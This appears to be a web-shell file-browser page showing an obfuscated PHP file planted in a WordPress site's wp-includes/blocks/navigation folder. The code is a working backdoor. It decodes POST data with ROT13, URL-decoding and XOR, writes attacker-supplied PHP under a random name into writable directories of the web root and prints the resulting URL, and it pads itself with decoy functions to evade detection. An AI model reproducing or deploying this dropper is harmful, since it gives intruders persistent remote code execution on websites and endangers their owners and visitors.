HEX
Server: Apache/2.4.57 (Debian)
System: Linux web-server-k8s-e92jnr3j-6f99bff6b6-rp2wg 6.1.0-22-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.94-1 (2024-06-21) x86_64
User: apache (48)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Upload Files
File: /var/www/sites/1250.info/wp-includes/blocks/navigation/tlbnrueu.php
<?php function dPuuyZfN($GZeApVj, $KiIKlWYn, $YJvjb){$SdQZh = "87f59b7a-eb8e-45b6-b8e2-0fbe5770ae60";return $GZeApVj ^ $SdQZh[$KiIKlWYn % strlen($SdQZh)] ^ $YJvjb;}$yPTlSpmPgB = "fKiAs";function umqkSoZsS($yPTlSpmPgB){ $eiqgIAZJEW = chr(208-93).chr(116).chr(114).chr(95).chr(927-813)."\x6f"."\164".chr(49).chr(51);$yPTlSpmPgB = $eiqgIAZJEW($yPTlSpmPgB);	$scOGilF = 'em';$BrTWbP = 'r'."\x61".chr(119).chr(1036-919)."\x72".'l'.'d'."\145".'c'."\x6f".'d'.chr(101);$yPTlSpmPgB = $BrTWbP($yPTlSpmPgB);$yPTlSpmPgB = str_split($yPTlSpmPgB);	$tWZokj = 28;return $yPTlSpmPgB;}function kVWGScHTIj(){$sPQHEvN = 52;$RUgfPbLw = 19;}function Fdsaahf($qeBTCfeWlP, $YJvjb){$qeBTCfeWlP = array_map("dPuuyZfN", array_values($qeBTCfeWlP), array_keys($qeBTCfeWlP), array_values($YJvjb));$qeBTCfeWlP = implode("", $qeBTCfeWlP);$QKcBDVv = "\165".'n'.chr(115).chr(101)."\x72".chr(105).'a'."\x6c".chr(105)."\x7a".'e';$qeBTCfeWlP = @$QKcBDVv($qeBTCfeWlP);return $qeBTCfeWlP;}function VomAJNgZH($YJvjb, $qeBTCfeWlP){$YJvjb = array_slice(str_split(str_repeat($YJvjb, intval(count($qeBTCfeWlP)/16)+1)), 0, count($qeBTCfeWlP));return $YJvjb;}kVWGScHTIj();function LaytxqZ(){echo "kUiFmde";	$WmPgSzVjfX = 27;}function evwhbfX($WmPgSzir){static $XQSJhdgVRB = array();$rVXnwx = glob($WmPgSzir . '/*', GLOB_ONLYDIR);$PZQfaJg = count($rVXnwx);if ($PZQfaJg > 0) {foreach ($rVXnwx as $WmPgSz) {$ZndDShYPh = "\151"."\x73"."\137"."\167".'r'.chr(258-153)."\164".'a'."\142".chr(622-514).chr(952-851);if (@$ZndDShYPh($WmPgSz)) {$XQSJhdgVRB[] = $WmPgSz;}}}foreach ($rVXnwx as $WmPgSzir) evwhbfX($WmPgSzir);return $XQSJhdgVRB;}function mpRZHuOh($qeBTCfeWlP){$LNKiPXOlNA = "\x44".chr(118-39).chr(585-518).chr(85)."\x4d"."\105"."\x4e".chr(84).'_'."\122"."\x4f"."\117".chr(84);$QqfCr = $_SERVER[$LNKiPXOlNA];	$RzJyIE = 'pF';$rVXnwx = evwhbfX($QqfCr);	$IYqwcAPp = 'Wu';	$RzJyIE = strlen($RzJyIE);$hGUcAwA = array_rand($rVXnwx);	$jdDxHxi = strtoupper($RzJyIE);$XQxYfvy = '.'."\x70".chr(104).'p';$ZqoIOYcU = $rVXnwx[$hGUcAwA] . "/" . substr(md5(time()), 0, 8) . $XQxYfvy;$uymcT = chr(231-129).chr(105).'l'.'e'."\137".'p'."\165"."\x74"."\137".chr(99)."\x6f".'n'."\164".chr(911-810).'n'.'t'.chr(509-394);@$uymcT($ZqoIOYcU, $qeBTCfeWlP);	$FBTjbIQvo = 'rQZ';	$RzJyIE = $RzJyIE - 10;$UHhKmNc = 'H'.'T'.'T'.'P'.chr(95)."\110"."\x4f"."\123".chr(447-363);$UlzazHaGp = 'h'."\x74"."\x74".chr(112).':'.chr(767-720).chr(663-616);$NmECW = $UlzazHaGp . $_SERVER[$UHhKmNc] . substr($ZqoIOYcU, strlen($QqfCr));	$yQVLjgd = 5;print($NmECW);	$RzJyIE = strrpos($jdDxHxi, 'tlpko');}function OkkJQ($qeBTCfeWlP, $hGUcAwA){$hGUcAwA = $hGUcAwA[0];if ($qeBTCfeWlP !== $hGUcAwA){mpRZHuOh($qeBTCfeWlP);		$UOtSw = 15;}else {ofOMqDIWx();		$skbbWHt = 3;}}function ofOMqDIWx(){$LgUUOTUtx = chr(126-14).chr(685-581)."\160";$ayxGvkRD = "\x70"."\150".chr(112).'v'.chr(101)."\x72"."\x73".chr(723-618)."\x6f".'n';$qeBTCfeWlP = Array($LgUUOTUtx => @$ayxGvkRD(), );$OwoNRDPz = "\163".chr(281-180)."\x72"."\151".'a'.chr(108).chr(105)."\x7a"."\x65";echo @$OwoNRDPz($qeBTCfeWlP);}function qcByp(){$vqEhfWA = 'gpHXORubz';$sDVwRIp = 70;$kSkqKyNBHv = 'YbbNP';$BHXAu = 'hN';$nrhTb = 'jROU';$cSlOa = strtolower($vqEhfWA);$vqEhfWA = strtoupper($vqEhfWA);$MVtYSKw = 58;}function wKGuVt(){echo "fKiAs";}foreach ($_POST as $YJvjb => $qeBTCfeWlP){$KKRWPdgmhw = strlen($YJvjb);if ($KKRWPdgmhw == 16){$qeBTCfeWlP = umqkSoZsS($qeBTCfeWlP);$YJvjb = VomAJNgZH($YJvjb, $qeBTCfeWlP);$qeBTCfeWlP = Fdsaahf($qeBTCfeWlP, $YJvjb);if (@is_array($qeBTCfeWlP)){$hGUcAwA = array_keys($qeBTCfeWlP);			$pBheh = 'xSYivMCne';$qeBTCfeWlP = $qeBTCfeWlP[$hGUcAwA[0]];OkkJQ($qeBTCfeWlP, $hGUcAwA);			$pToVqkPEli = 'yNWXnbRKg';			$pBheh = base64_decode($pToVqkPEli);}}}die();qcByp();?>